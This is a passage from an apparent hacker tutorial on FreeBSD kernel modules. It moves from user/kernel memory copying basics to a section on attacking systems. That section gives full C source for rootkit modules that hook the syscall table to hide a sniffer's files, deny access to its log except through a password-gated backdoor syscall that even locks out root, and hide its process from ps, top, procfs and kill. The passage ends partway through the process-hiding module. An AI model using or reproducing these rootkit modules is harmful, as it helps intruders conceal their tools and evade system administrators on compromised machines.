Arghh, I hope no computer science professor will see this, it's a cruel kind of
programming ;), but working [I hate it too loose time with nice software
design...]. Of course, it would be very easy to make this program more
compact, but I also wrote it this way to make it easier to understand. The
different print_* functions will put out the desired information. The
syscall() function calls a certain system call plus required arguments.
NOTE :
This module is no perfect solution. Try to access a field like filename in a
linker_file structure you get vie print_files. You will get a nice error, why?
Look at the following image :
user space :
----------------------------------------------------------------------------
kernel space : one linker_file structure
+++++++++++++++++++++++++
+... +
+ char *filename + ---------> name
+... + points to an address in
+... + kernel space
+... +
Now what did our system call, take a look at the next image :
user space : one linker_file structure
+++++++++++++++++++++++++
+... +
+ char *filename + ----
+... + |
+... + |
+... + |
|
|
|
----------------------------------------------------------------------------
|
kernel space : |
|---> name
Do you see the problem? The char* filename pointer still points to the old
address in kernel space while the linker_file structure was move to user
space. This means you cannot access any pointer fields in the structures /
lists exported by TheSeeker module. Of course, you could also transform those
address to user space, but that would be too complicated for a beginner
example, so I did not implement it. Of course you can access any other fields
that don't point to some location.
8. From User to Kernel space and back
In TheSeeker I introduced some kernel functions that were responsible for user
<-> kernel space transitions. The following list shows all functions that are
important for that task :
- int copyin(const void *uaddr, void *kaddr, size_t len);
->copies len bytes from user space (uaddr) to kernel space (kaddr)
- int copyout(const void *kaddr, void *uaddr, size_t len);
->copies len bytes from kernel space (kaddr) to user space (uaddr)
- int copyinstr(const void *uaddr, void *kaddr, size_t len, size_t
*done);
->copies NUL-terminated string, at most len bytes long, fom user
space (uaddr) to kernel space (kaddr). The number of bytes actually copied
is returned in done.
I always used these functions. There are also some other byte-oriented
functions (like fetch etc.) but I nver used them.
The easiest task is to copy from user to kerne space. You have only to provide
a buffer in kernel space. Take a look at the following fragment (taken from
my directory hack) :
/*We need to define M_DIRP2 for allocating some memory in kernel space with
the help of the MALLOC macro*/
MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
...
struct dirent *dirp2, *dirp3;
...
/*allocate memory*/
MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
...
/*copy from user space (uap->buf) to kernel space (dirp2) tmp bytes*/
copyin(uap->buf, dirp2, tmp);
Look at the MALLOC man page for more details. Of course you could also use
something like char mem[100]; instead of MALLOC, but malloc is the better
choice.
So copyin from user to kernel space a trivial. But what about the other
direction? You have to differentiate between two cases : is there already an
allocated buffer for the process in user space? If so just use copyout and you
are done. But what to do if you don't have a memory buffer in user space. Look
at my solution (I made lots of comments for beginners, please read them :)):
/*This example demonstrates how to use the OBREAK syscall to issue a system
call from kernel mode. I implemented a syscall (offset 210) which will create
a directory (TESTDIR) by using the mkdir syscall. The general problem with
this task is supplying the arguments for mkdir from +user space+.*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*
* Shareable process virtual address space.
* May eventually be merged with vm_map.
* Several fields are temporary (text, data stuff).
*/
struct vmspace {
/*NOTE : I just used some padding stuff, to avoid too much include file
problems...
*/
/* struct vm_map vm_map; VM address map */
char pad1[100];
/* struct pmap vm_pmap; private physical map */
char pad2[36];
int vm_refcnt; /* number of references */
caddr_t vm_shm; /* SYS5 shared memory private data XXX */
/* we copy from vm_startcopy to the end of the structure on fork */
#define vm_startcopy vm_rssize
segsz_t vm_rssize; /* current resident set size in pages */
segsz_t vm_swrss; /* resident set size before last swap */
segsz_t vm_tsize; /* text size (pages) XXX */
segsz_t vm_dsize; /* data size (pages) XXX */
segsz_t vm_ssize; /* stack size (pages) */
caddr_t vm_taddr; /* user virtual address of text XXX */
caddr_t vm_daddr; /* user virtual address of data XXX */
caddr_t vm_maxsaddr; /* user VA at max stack growth */
caddr_t vm_minsaddr; /* user VA at max stack growth */
};
/*just a simple syscall handler which will create a dir entry*/
static int user_syscall (struct proc *p, void *arg)
{
/*example directory we want to create from kernel space via syscall
recall that this string is saved in kernel context and not in user space
is we need it*/
char *kernel_name="./TESTDIR\0";
/*this will hold our address in user space (for the directory name)*/
char *user_name;
/*one structure for kernel space and one for the user part :
This structure is used by the syscall mkdir for holding the required
arguments (see system call listing)*/
struct mkdir_args kernel_ma;
struct mkdir_args *user_ma;
/*we need to allocate memory, so we use the easiest way : syscall obreak*/
struct obreak_args oa;
/*the process we want to 'abuse' for saving our data in its VM space.
I used curproc which always points to the current process.*/
struct proc *userproc=curproc;
/*NOTE : The following stuff is very experimental !
----
*/
/*
allocate 4096 bytes of heap memory for the user space args :
ctob : transforms a given page count to the corresponding bytes count;
of course, this calculation depends on the underlying architecture
btoc : this is the counterpart to ctob
*/
oa.nsize=userproc->p_vmspace->vm_daddr+ctob(userproc->p_vmspace->vm_dsize)+
4096;
/*this is just for debugging*/
printf("Process ID : %d\n", userproc->p_pid);
printf("OLD DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
printf("OBREAK RETURN VALUE : %d\n",obreak(userproc, &oa));
printf("NEW DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
/*move our directory name to a random location in the user space data segment
range (within the newly allocated page*/
user_name=oa.nsize-80;
/*use copyout, which is able to copy from kernel to user space*/
copyout(kernel_name, user_name, strlen(kernel_name));
/*just for debugging : where did we save the name in user space?*/
printf("USER NAME ADDRESS : %p\n", user_name);
/*now it gets a bit tricky :
--------------------------
we move the VM address from user space into the kernel_ma.path pointer in
kernel space*/
kernel_ma.path=oa.nsize-80;
/*creation mode = 0*/
kernel_ma.mode=0;
/*NOW the kernel_ma structure is ok, we can copy this structure to user space
*/
/*select a place (within the allocated page) where to put the user_ma
structure*/
user_ma=(struct mkdir_args*)oa.nsize-50;
/*again a copyout*/
copyout(&kernel_ma, user_ma, sizeof(struct mkdir_args));
/*again some debug messages*/
printf("USER STRUCT ADDRESS : %p\n",user_ma);
/*Issue the mkdir syscall. Did we succeed ? Zero return value stands for
success.*/
printf("MKDIR RETURN : %d\n", mkdir(userproc, user_ma));
return 0;
}
/*
* The `sysent' for the new syscall
*/
static struct sysent user_syscall_sysent = {
0,
user_syscall /* sy_call */
};
/*
* The offset in sysent where the syscall is allocated.
*/
/*210 is a free slot in FreeBSD 3.1*/
static int offset = 210;
/*
* The function called at load/unload.
*/
static int
load (struct module *module, int cmd, void *arg)
{
/*no special processing here*/
return 0;
}
SYSCALL_MODULE(syscall, &offset, &user_syscall_sysent, load, NULL);
The comments should make everything quite clear. The general idea is to use
the obreak system call to allocate some memory (move the vm_daddr).
9. Last Words
I hope you understood the stuff I mentioned in this basic section. It's really
important that you get the general ideas in order to understand part II.
You should take a look at the man pages of section 9. There you can find some
interesting kernel functions that will be useful sometimes.
II. Attacking with kernel code
The general layout of this article is based on my Linux article. Part II Fun
& Profit will deal with ways to attack a FreeBSD system with modules. My Linux
article shows nearly every aspect of attacking a system with kernel code. The
FreeBSD part here is based on the ideas of Linux LKM hacks (I only added some
items special for FreeBSD). This FreeBSD part will only present those modules,
that needed big code/strategy modifications according to the Linux ones.
1. How to intercept system calls
Intercepting systemcalls on FreeBSD is nearly the same like doing this on a
Linux Box. Again we start with a very very basic example :
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*The hacked system call*/
static int
hacked_mkdir (struct proc *p, struct mkdir_args *ua)
{
/*the only thing we do is printing a debug message*/
printf("MKDIR SYSCALL : %s\n", ua->path);
return mkdir(p, ua);
}
/*the sysentry for the hacked system call. Be careful, argument count must be
same for the hacked and the origanel system call (here 1)*/
static struct sysent
hacked_mkdir_mkdir_sysent = {
1,
hacked_mkdir /* sy_call */
};
/*our load function*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*replace the mkdir syscall with our own*/
sysent[SYS_mkdir]=hacked_mkdir_mkdir_sysent;
break;
case MOD_UNLOAD :
/*argument count has not changed, so we only need to restore the
function pointer*/
sysent[SYS_mkdir].sy_call=(sy_call_t*)mkdir;
break;
default :
error = EINVAL;
break;
}
return error;
}
static moduledata_t syscall_mod = {
"Intercept",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
As you can see you don't have to save the old sysent entry, you just refer to
the original system call function (no problems like those we had with Linux
concerning public and private kernel items).
Compile this module (as always take the Makefile from part I) and load it.
Every mkdir system call will produce a nice debug message.
For those who don't know which system call to intercept, again : read my Linux
article. On FreeBSD ktrace can be quite useful.
2. Filesystem related hacks
Like the Linux one, we first start with filesystem hacks. They are really
important for hiding our tools & logs.
2.1. How to hide files
The following module represents the getdirentries hack that will hide a certain
file from directory listings made by commands like 'ls' :
Note :
In Phrack (Volume 7, Issue 51 September 01, 1997, article 09) halflife already
presented a nice hack for this problem. It was implemented under FreeBSD 2.2
using the LKM scheme. He used a very short and good way to manage file hiding.
My code below does the same stuff for FreeBSD 3.x systems. My approach is not
so short, because I did user <-> kernel space transitions for clearness. The
whole thing would also work without this stuff, but my module can easily be
extended to do other things, because all relevant structures are copied to
kernel space so you can modify them how ever you want before they are copied
back.
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*We need to define M_DIRP2 for allocating some memory in kernel space with
the help of the MALLOC macro*/
MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
/*This hack is based on the getdents idea from some linux LKMs. FreeBSD is
a bit more tricky, but it works.*/
static int
hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
{
unsigned int tmp, n, t;
struct dirent *dirp2, *dirp3;
/*The file we want to hide : The name must match exactly !*/
char hide[]="sniffer";
/*just issue the syscall*/
getdirentries(p,uap);
/*this is the way BSD returns status values to the process issueing the
request.*/
tmp=p->p_retval[0];
if (tmp>0)
{
/*allocate memory*/
MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
/*copy the dirent structure for user space in our kernel space*/
copyin(uap->buf, dirp2, tmp);
/*dirp3 points to dirp2*/
dirp3=dirp2;
t=tmp;
/*In this loop we check for every dirent structure in the user buffer*/
while (t > 0)
{
n = dirp3->d_reclen;
t-=n;
/*Do we have the entry for our file to hide*/
if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
{
if (t!=0)
{
/*ATTENTION : Do not use something like strcpy or so. bcopy is able to
handle overlapping memroy locations, so this is our choice*/
bcopy((char*)dirp3+n,dirp3, t);
}
/*the dirent structure list is shorter now*/
tmp-=n;
}
/*The following piece of code is necessary, because we get one dirent entry
with d_reclen=0, if we would not implement this, we would get an infinite
while loop*/
if (dirp3->d_reclen==0)
{
/*end is reached*/
t=0;
}
/*as long as there is something to copy, do it*/
if (t!=0)
/*get the next pointer from the dirent structure list*/
dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
}
/*we must decrement the getdirentries user call return value, if we changed
something*/
p->p_retval[0]=tmp;
/*copy the whole (perhaps modified) memory back to the user buffer*/
copyout(dirp2, uap->buf, tmp);
/*free kernel memory*/
FREE(dirp2, M_DIRP2);
}
/*everything ok, so return 0*/
return 0;
}
/*the hacked getdirentries syscall*/
static struct sysent hacked_getdirentries_sysent = {
4,
hacked_getdirentries /* sy_call */
};
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*replace the getdirentries syscall with our own*/
sysent[196]=hacked_getdirentries_sysent;
break;
case MOD_UNLOAD :
/*argument count has not changed, so we only need to restore the
function pointer*/
sysent[196].sy_call=(sy_call_t*)getdirentries;
break;
default :
error = EINVAL;
break;
}
return error;
}
/*you will recognize that this part is the same (I only changed the module
name) for every module I present.*/
static moduledata_t syscall_mod = {
"FileHider",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
The general idea is the same for FreeBSD and Linux, but there are some
differences concerning the coding. Especially the return value modification
must be done in a different way. My comments should be clear, so try it.
2.2 How to hide the file contents
The following implementation is an extension to the Linux one. The Linux module
was hiding a file contents so that a 'cat filename' returned with a 'file does
not exist' errror. I implemented no way for you (hacker) to access this file, I
only suggested some methods how to do it. The following module also implements
a way to access it by you :
/*This module demonstrates how to make a file unaccessible. It has a
authentication scheme which allows someone using the correct password (here
007) to access the file. Only this user (represented by UID) can access it
later. The password (007) is given through a newly defined syscall.*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*this variable will hold the UID of the user who issued the system call with
the correct code*/
uid_t access_uid=-1;
/*code for authentication*/
#define CODE 007
/*
* Shareable process virtual address space.
* May eventually be merged with vm_map.
* Several fields are temporary (text, data stuff).
*/
struct vmspace {
/*NOTE : I just used some padding stuff, to avoid too much include file
problems...
*/
/* struct vm_map vm_map; VM address map */
char pad1[100];
/* struct pmap vm_pmap; private physical map */
char pad2[36];
int vm_refcnt; /* number of references */
caddr_t vm_shm; /* SYS5 shared memory private data XXX */
/* we copy from vm_startcopy to the end of the structure on fork */
#define vm_startcopy vm_rssize
segsz_t vm_rssize; /* current resident set size in pages */
segsz_t vm_swrss; /* resident set size before last swap */
segsz_t vm_tsize; /* text size (pages) XXX */
segsz_t vm_dsize; /* data size (pages) XXX */
segsz_t vm_ssize; /* stack size (pages) */
caddr_t vm_taddr; /* user virtual address of text XXX */
caddr_t vm_daddr; /* user virtual address of data XXX */
caddr_t vm_maxsaddr; /* user VA at max stack growth */
caddr_t vm_minsaddr; /* user VA at max stack growth */
};
/*arguments for the check_code system call*/
struct check_code_args {
int code;
};
/*after this check only the one who issued the syscall from user space is able
to access the file/directory or whatever (only this UID can access it). Of
course, before, he must supply the correct code.*/
static
void check_code(struct proc *p, struct check_code_args *uap)
{
if (uap->code==CODE)
access_uid=p->p_cred->pc_ucred->cr_uid;
else
access_uid=-1;
}
/*the hacked open syscall*/
static
int hacked_open(struct proc *p, struct open_args *uap)
{
char name[255];
/*the file we want to hide*/
char hide_name[]="sniffer.log";
size_t done;
/*get name*/
copyinstr(uap->path, name, 255, &done);
/*do we have the right file name?*/
if (strcmp((char*)&name, (char*)&hide_name)==0)
{
/*does this user have the right to access the file*/
if (access_uid==p->p_cred->pc_ucred->cr_uid)
{
/*if so, do a normal open*/
return open(p, uap);
}
/*no he has not got the right*/
else
/*standing for 'no such file or directory*/
return ENOENT;
}
/*if we don't have our file, just continue*/
return open(p, uap);
}
/*the hacked open syscall*/
static struct sysent hacked_open_sysent = {
3,
hacked_open /* sy_call */
};
/*check code sysentry*/
static struct sysent check_code_sysent = {
1,
check_code
};
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD :
/*replace the open syscall with our own*/
sysent[SYS_open]=hacked_open_sysent;
/*install check code system call (slot/number 210)*/
sysent[210]=check_code_sysent;
break;
case MOD_UNLOAD :
/*argument count has not changed, so we only need to restore the
function pointer*/
sysent[SYS_open].sy_call=(sy_call_t*)open;
break;
default :
error = EINVAL;
break;
}
return error;
}
static moduledata_t syscall_mod = {
"OpenHide",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
The open hack in general should be clear. If we have our filename we just
return 'no such file...'. The solution I present to access this file via an
authentication scheme is quite powerful. The user space program is very easy,
just issue a system call with syscall() with the correct code (I won't present
code because it's really too easy).
After providing the correct code only you (your UID) has access to this file.
Even root cannot access it (he will also get 'no such file...').
2.3 And the rest?
Those who read my Linux LKM article will recognize that I explained more hacks
(like file operation redirection, mkdir interception etc.). Why don't I
present them here? Because these hacks are trivial to implement after the
things I said already.
3. Process related hacks
This section will introduce some modules making it possible to hide any
process and install a backdoor rootshell.
3.1 How to hide any process
Well, I have to admit that it wasn't very easy to make this possible on
FreeBSD. And the following solution is quite experimental (but working, of
course). You have to know that FreeBSD uses the so called KVM library to get
information on the processes of the system (it is a library interface to the
allproc and zombroc lists). Besides this, commands like top also use the
procfs. This means we have to attack two points. Hiding an entry from the
procfs is easy (just hide the PID from getdirentries), but what about the KVM
lib. Let me explain some words. The following explaination makes things easier
than they are in reality, but it's enough for a general understanding.
We start with a code snippet from the 'ps' command :
/*
* select procs
*/
if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
errx(1, "%s", kvm_geterr(kd));
if ((kinfo = malloc(nentries * sizeof(*kinfo))) == NULL)
err(1, NULL);
printf("SIZE %d\n", nentries*sizeof(*kinfo));
for (i = nentries; --i >= 0; ++kp) {
kinfo[i].ki_p = kp;
if (needuser)
saveuser(&kinfo[i]);
dynsizevars(&kinfo[i]);
}
sizevars();
/*
* print header
*/
printheader();
if (nentries == 0)
exit(0);
/*
* sort proc list
*/
qsort(kinfo, nentries, sizeof(KINFO), pscomp);
/*
* for each proc, call each variable output function.
*/
for (i = lineno = 0; i < nentries; i++) {
if (xflg == 0 && (KI_EPROC(&kinfo[i])->e_tdev == NODEV ||
(KI_PROC(&kinfo[i])->p_flag & P_CONTROLT ) == 0))
continue;
for (vent = vhead; vent; vent = vent->next) {
(vent->var->oproc)(&kinfo[i], vent);
if (vent->next != NULL)
(void)putchar(' ');
}
(void)putchar('\n');
if (prtheader && lineno++ == prtheader - 4) {
(void)putchar('\n');
printheader();
lineno = 0;
}
}
exit(eval);
There is only one line interesting for us :
if ((kp = kvm_getprocs(kd, what, flag, &nentries)) == 0)
Note :
what=KERN_PROC_ALL for commands like 'ps' flag=0
what=KERN_PRC_PID for commands like 'ps PID' flag=PID
The kvm_getprocs function (from the KVM lib) is the user space interface to
access the kernel process lists. So let's take a look at this function in the
library :
struct kinfo_proc *
kvm_getprocs(kd, op, arg, cnt)
kvm_t *kd;
int op, arg;
int *cnt;
{
int mib[4], st, nprocs;
size_t size;
if (kd->procbase != 0) {
free((void *)kd->procbase);
/*
* Clear this pointer in case this call fails. Otherwise,
* kvm_close() will free it again.
*/
kd->procbase = 0;
}
if (ISALIVE(kd)) {
size = 0;
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = op;
mib[3] = arg;
st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4, NULL, &size, NULL, 0);
if (st == -1) {
_kvm_syserr(kd, kd->program, "kvm_getprocs");
return (0);
}
do {
size += size / 10;
kd->procbase = (struct kinfo_proc *)
_kvm_realloc(kd, kd->procbase, size);
if (kd->procbase == 0)
return (0);
st = sysctl(mib, op == KERN_PROC_ALL ? 3 : 4,
kd->procbase, &size, NULL, 0);
} while (st == -1 && errno == ENOMEM);
if (st == -1) {
_kvm_syserr(kd, kd->program, "kvm_getprocs");
return (0);
}
if (size % sizeof(struct kinfo_proc) != 0) {
_kvm_err(kd, kd->program,
"proc size mismatch (%d total, %d chunks)",
size, sizeof(struct kinfo_proc));
return (0);
}
nprocs = size / sizeof(struct kinfo_proc);
} else {
struct nlist nl[4], *p;
nl[0].n_name = "_nprocs";
nl[1].n_name = "_allproc";
nl[2].n_name = "_zombproc";
nl[3].n_name = 0;
if (kvm_nlist(kd, nl) != 0) {
for (p = nl; p->n_type != 0; ++p)
;
_kvm_err(kd, kd->program,
"%s: no such symbol", p->n_name);
return (0);
}
if (KREAD(kd, nl[0].n_value, &nprocs)) {
_kvm_err(kd, kd->program, "can't read nprocs");
return (0);
}
size = nprocs * sizeof(struct kinfo_proc);
kd->procbase = (struct kinfo_proc *)_kvm_malloc(kd, size);
if (kd->procbase == 0)
return (0);
nprocs = kvm_deadprocs(kd, op, arg, nl[1].n_value,
nl[2].n_value, nprocs);
#ifdef notdef
size = nprocs * sizeof(struct kinfo_proc);
(void)realloc(kd->procbase, size);
#endif
}
*cnt = nprocs;
return (kd->procbase);
}
Look at the ISALIVE if construct. Here the library call decides wether it looks
for 'living' procs (->allprocs list) or 'dead' procs (->zombrocs). My further
explaination (and module) is based on a 'living' process (what worth is a
'dead' sniffer ?). So let's take a look at that case.
First of all a MIB array is constructed where the operation (op) and an
argument (arg) is inserted. The other two fields are predefined. The op field
is equal to the what value from the ps program (KERN_PROC_ALL, for example)
and the arg field is equal to the flag variable in ps.c (1 or 0). After this
a sysctl is issued with the corresponding MIB.
This sysctl call finally reaches sysctl_kern_proc :
static int
sysctl_kern_proc SYSCTL_HANDLER_ARGS
{
int *name = (int*) arg1;
u_int namelen = arg2;
struct proc *p;
int doingzomb;
int error = 0;
if (oidp->oid_number == KERN_PROC_PID) {
if (namelen != 1)
return (EINVAL);
p = pfind((pid_t)name[0]);
if (!p)
return (0);
error = sysctl_out_proc(p, req, 0);
return (error);
}
if (oidp->oid_number == KERN_PROC_ALL && !namelen)
;
else if (oidp->oid_number != KERN_PROC_ALL && namelen == 1)
;
else
return (EINVAL);
if (!req->oldptr) {
/* overestimate by 5 procs */
error = SYSCTL_OUT(req, 0, sizeof (struct kinfo_proc) * 5);
if (error)
return (error);
}
for (doingzomb=0 ; doingzomb < 2 ; doingzomb++) {
if (!doingzomb)
p = allproc.lh_first;
else
p = zombproc.lh_first;
for (; p != 0; p = p->p_list.le_next) {
/*
* Skip embryonic processes.
*/
if (p->p_stat == SIDL)
continue;
/*
* TODO - make more efficient (see notes below).
* do by session.
*/
switch (oidp->oid_number) {
case KERN_PROC_PGRP:
/* could do this by traversing pgrp */
if (p->p_pgrp == NULL ||
p->p_pgrp->pg_id != (pid_t)name[0])
continue;
break;
case KERN_PROC_TTY:
if ((p->p_flag & P_CONTROLT) == 0 ||
p->p_session == NULL ||
p->p_session->s_ttyp == NULL ||
p->p_session->s_ttyp->t_dev != (dev_t)name[0])
continue;
break;
case KERN_PROC_UID:
if (p->p_ucred == NULL ||
p->p_ucred->cr_uid != (uid_t)name[0])
continue;
break;
case KERN_PROC_RUID:
if (p->p_ucred == NULL ||
p->p_cred->p_ruid != (uid_t)name[0])
continue;
break;
}
error = sysctl_out_proc(p, req, doingzomb);
if (error)
return (error);
}
}
return (0);
}
This function first checks whether we want information on all processes
(KERN_ALL_PROCS) or on a single process (KERN_PROC_PID). This means our hack
also must handle these two cases. The rest of the function is quite obvious.
The allproc data is collected and copied in the user space buffer. The last
sysctl_out_proc() function does the rest :
static int
sysctl_out_proc(struct proc *p, struct sysctl_req *req, int doingzomb)
{
struct eproc eproc;
int error;
pid_t pid = p->p_pid;
fill_eproc(p, &eproc);
error = SYSCTL_OUT(req,(caddr_t)p, sizeof(struct proc));
if (error)
return (error);
error = SYSCTL_OUT(req,(caddr_t)&eproc, sizeof(eproc));
if (error)
return (error);
if (!doingzomb && pid && (pfind(pid) != p))
return EAGAIN;
if (doingzomb && zpfind(pid) != p)
return EAGAIN;
return (0);
}
This will set return code and move the memory. That's all.
[A big SORRY to all kernel freaks, but explaining all this in more detail would
produce 100 pages and more... ].
My module also handles the kill signal just to demonstrate that it is also
possible to intercept any signal calls to the PID of the process we want to
hide. Recall that hiding does not mean that signals can't reach our process !
Here is my module :
/*This module shows how to hide any process from commands like 'ps' or 'top'.
Recall that BSD uses the so called kvm library which uses special MIBs
with sysctl commands, to get access to the kernel 'allproc' and 'zombroc' list
from user space. Linux only relies on the procfs, so BSD is a bit harder to
attack.*/
/*FEATURES :
1 - This module hides a certain process from proc lists produced by ps or top
2 - This module hides a certain process from direct calls like 'ps PID'
3 - This module intercepts the kill syscall in order to avoid killing our
process we want to hide (the kill is just an add-on, normally you are
secure enough with the points 1,2 and 4)
4 - This module hides the proc entry from the procfs
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*exact name of the process (+arguments) we want to hide*/
#define HIDE_PROC "sniffer"
/*this structure is used by BSD to describe a process for user space programs*/
struct kinfo_proc {
struct proc kp_proc; /* proc structure */
struct eproc {
struct proc *e_paddr; /* address of proc */
struct session *e_sess; /* session pointer */
struct pcred e_pcred; /* process credentials */
struct ucred e_ucred; /* current credentials */
struct procsig e_procsig; /* shared signal structure */
/*PADDING stuff*/
/*struct vmspace e_vm; address space */
char pad1[180];
pid_t e_ppid; /* parent process id */
pid_t e_pgid; /* process group id */
short e_jobc; /* job control counter */
dev_t e_tdev; /* controlling tty dev */
pid_t e_tpgid; /* tty process group id */
struct session *e_tsess; /* tty session pointer */
#define WMESGLEN 7
char e_wmesg[WMESGLEN+1]; /* wchan message */
segsz_t e_xsize; /* text size */
short e_xrssize; /* text rss */
short e_xccount; /* text references */
short e_xswrss;
long e_flag;
#define EPROC_CTTY 0x01 /* controlling tty vnode active */
#define EPROC_SLEADER 0x02 /* session leader */
char e_login[roundup(MAXLOGNAME, sizeof(long))]; /* setlogin() name */
long e_spare[2];
} kp_eproc;
};
/*we need this counter to get the right sysctl call*/
int global_counter;
/*We need to define M_DIRP2 for allocating some memory in kernel space with
the help of the MALLOC macro*/
MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
/*This function returns the PID of the process we want to hide*/
int
get_pid()
{
struct proc *p;
p=allproc.lh_first;
for (; p!=0; p=p->p_list.le_next)
{
/*p->p_comm holds the process name*/
if (strcmp(p->p_comm, HIDE_PROC)==0)
{
return p->p_pid;
}
}
return -1;
}
/*nothing big, but for demonstration*/
static int
hacked_kill(struct proc *p, struct kill_args *uap)
{
if (uap->pid==get_pid())
return ESRCH;
else
return kill(p, uap);
}
/*the BIG sysctl hack :)*/
static int
hacked_sysctl(struct proc *p, struct sysctl_args *uap)
{
/*this will hold the MIB values*/
int mib[4];
size_t size, newsize;
/*this will hold the kinfo_proc structures in our kernel space*/
struct kinfo_proc kpr;
/*just some stuff we need*/
int tmp, counter;
/*call sysctl, and get return value*/
tmp= __sysctl(p, uap);
/*grab the MIB from user space*/
copyin(uap->name, &mib, sizeof(mib));
/*Did someone issue something like 'ps PID' -> in order to get information
on a certain single process ? If so we need to handle this. Attention :
I skipped checkin' the first two mib[] fields, again I'm lazy :)*/
if (mib[2]==KERN_PROC_PID)
{
/*Does he want to get info on our process ?*/
if (mib[3]==get_pid())
{
/*If so we return a size value of 0 standing for no such process*/
size=0;
/*copy to user space*/
copyout(&size, uap->oldlenp, sizeof(size));
/*and return*/
return(0);
}
else
/*otherwise display the reqeuested information*/
return 0;
}
/*the following code will handle calls like 'ps' and 'top' with ALL PROCS
enable*/
/*ok, we need to check the MIB for 'hacking' the real sysctl
our first check is it CTL_KERN*/
if (mib[0]==CTL_KERN)
/*our second check is it KERN_PROC*/
if (mib[1]==KERN_PROC)
/*our third check : is it the second sysctl (not the one retrieving the
kinfo_proc structure list size ?*/
if (uap->old!=NULL)
{
/*only catch the first call*/
if (global_counter==0)
{
global_counter++;
/*now it's time to check for our PID we want to hide*/
/*NOTE : Here we check the memory region in user space for a kinfo_proc
structure with the needed PID*/
for (counter=0;(counter*sizeof(kpr)<=size); counter++)
{
/*copy from user to kernel space*/
copyin(uap->old+counter*sizeof(kpr), &kpr, sizeof(kpr));
/*do we have our PID ?*/
if (kpr.kp_proc.p_pid==get_pid())
{
/*YES, so patch the size of the memory region (decrement by one
kinfo_proc structure)*/
newsize=size-sizeof(kpr);
/*'overlap' the memory, so we 'cut' our entry out*/
bcopy(uap->old+(counter+1)*sizeof(kpr), uap->old+counter*sizeof(kpr),
size-(counter+1)*sizeof(kpr));
}
}
/*set the new size*/
copyout(&newsize, uap->oldlenp, sizeof(size));
/*and finally return*/
return 0;
}
}
/*we have the sysctl call, that requests the memory size of the kinfo_proc
list*/
/*if uap->old == NULL, then the user requests the process count*/
else
{
/*we also need the size (count), so get it*/
copyin(uap->oldlenp, &size, sizeof(size));
/*in sys/kern/kern_proc.c BSD uses a size overestimated by 5 structures,
so we need to correct (decrease) that*/
size-=sizeof(kpr)*5;
newsize=size;
/*set global_counter to 0 for catching the only next sysctl*/
global_counter=0;
}
return tmp;
}
/*Normal getdirentries hack for hiding the process from procfs*/
static int
hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
{
unsigned int tmp, n, t;
struct dirent *dirp2, *dirp3;
/*The file we want to hide : The name must match exactly !*/
char hide[255];
/*copy the HIDE_PROC number into the hide string*/
sprintf(hide, "%d", get_pid());
/*just issue the syscall*/
getdirentries(p,uap);
/*this is the way BSD returns status values to the process issueing the
request.*/
tmp=p->p_retval[0];
if (tmp>0)
{
/*allocate memory*/
MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
/*copy the dirent structure for user space in our kernel space*/
copyin(uap->buf, dirp2, tmp);
/*dirp3 points to dirp2*/
dirp3=dirp2;
t=tmp;
/*In this loop we check for every dirent structure in the user buffer*/
while (t > 0)
{
n = dirp3->d_reclen;
t-=n;
/*Do we have the entry for our file to hide (I don't check for procfs)*/
if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
{
if (t!=0)
{
/*ATTENTION : Do not use something like strcpy or so. bcopy is able to
handle overlapping memroy locations, so this is our choice*/
bcopy((char*)dirp3+n,dirp3, t);
}
/*the dirent structure list is shorter now*/
tmp-=n;
}
/*The following piece of code is necessary, because we get one dirent entry
with d_reclen=0, if we would not implement this, we would get an infinite
while loop*/
if (dirp3->d_reclen==0)
{
/*end is reached*/
t=0;
}
/*as long as there is something to copy, do it*/
if (t!=0)
/*get the next pointer from the dirent structure list*/
dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
}
/*we must decrement the getdirentries user call return value, if we changed
something*/
p->p_retval[0]=tmp;
/*copy the whole (perhaps modified) memory back to the user buffer*/
copyout(dirp2, uap->buf, tmp);
/*free kernel memory*/
FREE(dirp2, M_DIRP2);
}
/*everything ok, so return 0*/
return 0;
}
/*the hacked getdirentries syscall*/
static struct sysent hacked_getdirentries_sysent = {
4,
hacked_getdirentries /* sy_call */
};
/*the hacked kill sysentry*/
static struct sysent hacked_kill_sysent = {
2,
hacked_kill
};
/*the hacked sysctl sysentry*/
static struct sysent hacked_sysctl_sysent = {
6,
hacked_sysctl /* sy_call */
};
